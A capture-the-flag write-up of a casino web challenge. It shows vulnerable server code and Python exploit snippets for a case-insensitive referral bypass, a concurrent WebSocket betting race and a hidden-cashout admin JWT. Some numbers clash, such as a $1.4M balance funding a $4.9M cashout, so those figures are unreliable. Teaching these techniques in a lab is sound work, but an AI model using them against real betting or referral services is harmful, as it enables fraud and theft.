← All scrolls
C rank
INFERNO CTF v2 · Web

Casino: from $100 to $1,000,000 with a WebSocket race

Everyone starts with $100 and the flag costs $1,000,000. An IDOR in referrals, a WebSocket race condition, a magic number and a JWT close the gap.

05 Sept 20264 min readEasy-Medium
#idor#race-condition#websocket#jwt

Category: Web
Difficulty: Easy - Medium
Flag: INFERNOCTF{r4c3_c0nd1t10n_m33ts_1d0r_4nd_m4g1c_numb3rs_w1th_w3bs0ck3t_fun}


Challenge Card & Overview

Casino Challenge Box

Casino Overview


Challenge Description

Welcome to Lucky Strike Casino! Everyone gets $100 to start. Buy the premium flag from the shop for just $1,000,000. Easy money, right?


Overview

This challenge requires chaining multiple vulnerabilities:

  1. IDOR in Referral System - Bypass duplicate check to grant yourself VIP status
  2. WebSocket Race Condition - Exploit non-atomic balance updates to inflate money
  3. Magic Number Cashout - Discover hidden admin token trigger
  4. Admin Vault Access - Use JWT to retrieve the real flag

Step 1: Reconnaissance

Initial Exploration

After registering and logging in, we notice:

  • Starting balance: $100
  • Flag costs: $1,000,000
  • Rate limit on betting: 1 bet/second
  • Referral system: Get VIP status with 5 referrals

Discovering WebSocket Endpoint

Looking at the HTML source reveals a hint:

<!-- Debug: Check /js/vip.js for VIP features -->

Reading /js/vip.js reveals:

  • WebSocket endpoint: /ws/vip-tables
  • Requires X-VIP-Token header
  • No rate limiting mentioned!

Step 2: Exploiting IDOR in Referrals

The Vulnerability

The referral system checks for duplicates using the exact provided code:

const alreadyUsed = db.prepare(
  'SELECT * FROM referral_uses WHERE referral_code = ? AND used_by_id = ?'
).get(code.toLowerCase(), req.user.id);

But the referrer lookup is case-insensitive:

const referrer = db.prepare(
  'SELECT * FROM users WHERE LOWER(referral_code) = LOWER(?)'
).get(code);

Exploitation

Since duplicate checks use the exact code but lookups are case-insensitive, different case variants of the same UUID are treated as different codes!

referral_code = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
variants = [
    referral_code.lower(),      # a1b2c3d4-e5f6-7890-abcd-ef1234567890
    referral_code.upper(),      # A1B2C3D4-E5F6-7890-ABCD-EF1234567890
    referral_code.swapcase(),   # A1B2C3D4-E5F6-7890-ABCD-EF1234567890
    # ... more variants
]

Using 5 different case variants from 5 helper accounts triggers VIP status for our main account.

Result

VIP token obtained! Now we can access WebSocket tables.


Step 3: Race Condition in WebSocket Betting

The Vulnerability

In app.js, the WebSocket betting logic is:

async function processBet(userId, amount) {
  // 1. READ balance
  const user = db.prepare('SELECT * FROM users WHERE id = ?').get(userId);

  if (user.balance < amount) return "insufficient";

  const won = Math.random() > 0.5;

  // Artificial delay on loss!
  if (!won) {
    await new Promise(resolve => setTimeout(resolve, 50));
  }

  // 2. WRITE new balance (uses stale value!)
  const newBalance = user.balance - amount + payout;
  db.prepare('UPDATE users SET balance = ? WHERE id = ?').run(newBalance, userId);
}

Problems:

  1. Balance read and write are not atomic
  2. Loss operations are artificially delayed by 50ms
  3. Winner writes complete before loser writes

Exploitation

Send 30+ concurrent WebSocket bet messages:

import websocket
import threading

ws = websocket.WebSocket()
ws.connect(WS_URL,
    cookie=f"session={session_cookie}",
    header=[f"X-VIP-Token: {vip_token}"]
)

def send_bet():
    ws.send(json.dumps({"type": "bet", "amount": current_balance}))

## Send concurrent bets
threads = [threading.Thread(target=send_bet) for _ in range(30)]
for t in threads: t.start()
for t in threads: t.join()

What happens:

  1. All 30 requests read balance = $100
  2. All pass the balance check
  3. ~15 win, ~15 lose
  4. Wins write first (no delay): balance = $200
  5. Losses write later (50ms delay): balance = $0
  6. BUT if we time it right, more wins can sneak in between

Repeat this process, betting the full balance each time. Due to the race condition, balance can grow exponentially.

Result

After multiple rounds: Balance > $1,400,000


Step 4: Discovering the Magic Number

The Red Herring

Buying the “Premium Flag” from the shop for $1,000,000 returns:

INFERNOCTF{n1c3_try_but_th1s_1s_n0t_th3_r34l_fl4g}

Finding the Real Path

Through endpoint enumeration (or fuzzing), we discover /api/leaderboard:

curl http://target/api/leaderboard

Response:

{
  "title": "Hall of Fame - Elite Cashouts",
  "description": "Legends who found the secret...",
  "entries": [
    { "rank": 1, "username": "***REDACTED***", "cashout": 4919999.88, "status": "Elite Member" },
    { "rank": 2, "username": "***REDACTED***", "cashout": 4919999.88, "status": "Elite Member" },
    { "rank": 3, "username": "***REDACTED***", "cashout": 4919999.88, "status": "Elite Member" }
  ],
  "note": "Only elite members who cashout the exact sacred amount gain access to the inner circle."
}

The magic number 4919999.88 is revealed! Testing this amount:

resp = requests.post(f"{BASE_URL}/api/cashout", json={"amount": 4919999.88})
## Response:
{
    "success": true,
    "message": "Elite member detected! Welcome to the inner circle.",
    "adminToken": "eyJhbG...",
    "hint": "The vault awaits..."
}

Step 5: Accessing the Vault

The Final Step

The admin JWT has a 30-second expiry. We must act fast!

resp = requests.get(
    f"{BASE_URL}/admin/vault",
    headers={"Authorization": f"Bearer {admin_token}"}
)
print(resp.json())
## {
##     "success": true,
##     "message": "Welcome to the vault, elite member.",
##     "flag": "INFERNOCTF{r4c3_c0nd1t10n_m33ts_1d0r_4nd_m4g1c_numb3rs_w1th_w3bs0ck3t_fun}"
## }

Complete Exploit Chain

1. Register account -> Get referral code
2. Create 5 helper accounts
3. Each helper uses a CASE VARIANT of your referral code (IDOR bypass)
4. Login to main account -> VIP status activated -> Get VIP token
5. Connect to WebSocket with VIP token
6. Send concurrent bets -> Race condition -> Balance grows exponentially
7. Reach $1,400,000+
8. Cashout exactly $4919999.88 -> Get admin JWT
9. Access /admin/vault with JWT -> Get real flag

Vulnerabilities Summary

VulnerabilityLocationImpact
IDOR/api/referral/useBypass referral limits, gain VIP
Race ConditionWebSocket /ws/vip-tablesInfinite money glitch
Information Disclosure/js/vip.jsReveals WebSocket endpoint
Hardcoded Magic Number/api/cashoutTriggers admin access
Weak JWT ExpiryAdmin token30-second window (design choice)

Solver Script

The complete exploit chain is implemented in solver/solve.py.

Run the solver:

python solver/solve.py http://localhost:3000

Flag

INFERNOCTF{r4c3_c0nd1t10n_m33ts_1d0r_4nd_m4g1c_numb3rs_w1th_w3bs0ck3t_fun}